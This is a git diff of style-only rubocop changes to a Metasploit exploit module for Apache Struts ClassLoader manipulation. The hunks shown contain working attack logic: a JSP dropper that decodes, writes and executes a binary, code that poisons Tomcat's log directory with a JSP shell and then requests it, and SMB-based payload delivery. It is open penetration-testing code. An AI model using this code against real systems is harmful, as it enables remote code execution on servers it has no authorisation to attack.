Mass rubocop changes

This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{linux win}
'Platform' => %w[linux win]
},
],
[
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x', '2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
]
)
@@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def jsp_dropper(file, exe)
dropper = <<~eos
dropper = <<~EOS
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
@@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
EOS
dropper
end
@@ -131,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Remote
def modify_class_loader(opts)
cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '1.x' then 'class.classLoader'
when '2.x' then "class['classLoader']"
end
@@ -151,9 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
uri = normalize_uri('/', @jsp_file)
print_status("Waiting for the server to flush the logfile")
print_status('Waiting for the server to flush the logfile')
10.times do |x|
select(nil, nil, nil, 2)
@@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
output = ''
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
@@ -200,11 +200,11 @@ class MetasploitModule < Msf::Exploit::Remote
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", { :arch => target.arch, :platform => target.platform })
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, 'exe-small', { arch: target.arch, platform: target.platform })
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
payload_file = rand_text_alphanumeric(rand(4..7))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
@@ -228,7 +228,7 @@ class MetasploitModule < Msf::Exploit::Remote
def setup
super
self.file_name << '.jsp'
file_name << '.jsp'
self.file_contents = payload.encoded
end
@@ -236,7 +236,7 @@ class MetasploitModule < Msf::Exploit::Remote
def primer
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
print_status('Modifying Class Loader...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
@@ -247,29 +247,29 @@ class MetasploitModule < Msf::Exploit::Remote
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
jsp_shell << "/#{file_name}"
print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
'method' => 'GET'
})
end
def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3 + rand(3))
date_format = rand_text_numeric(1 + rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
prefix_jsp = rand_text_alphanumeric(rand(3..5))
date_format = rand_text_numeric(rand(1..4))
@jsp_file = prefix_jsp + date_format + '.jsp'
# Modify the Class Loader
print_status("Modifying Class Loader...")
print_status('Modifying Class Loader...')
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
directory: 'webapps/ROOT',
prefix: prefix_jsp,
suffix: '.jsp',
file_date_format: date_format
}
res = modify_class_loader(properties)
unless res
@@ -285,12 +285,12 @@ class MetasploitModule < Msf::Exploit::Remote
register_files_for_cleanup(@jsp_file)
# Prepare the JSP
print_status("Generating JSP...")
print_status('Generating JSP...')
jsp = create_jsp
# Dump the JSP to the log file
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
print_status('Dumping JSP into the logfile...')
random_request = rand_text_alphanumeric(rand(3..5))
uri = normalize_uri('/', random_request)
@@ -305,10 +305,10 @@ class MetasploitModule < Msf::Exploit::Remote
# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
directory: '',
prefix: '',
suffix: '',
file_date_format: ''
}
modify_class_loader(properties)
end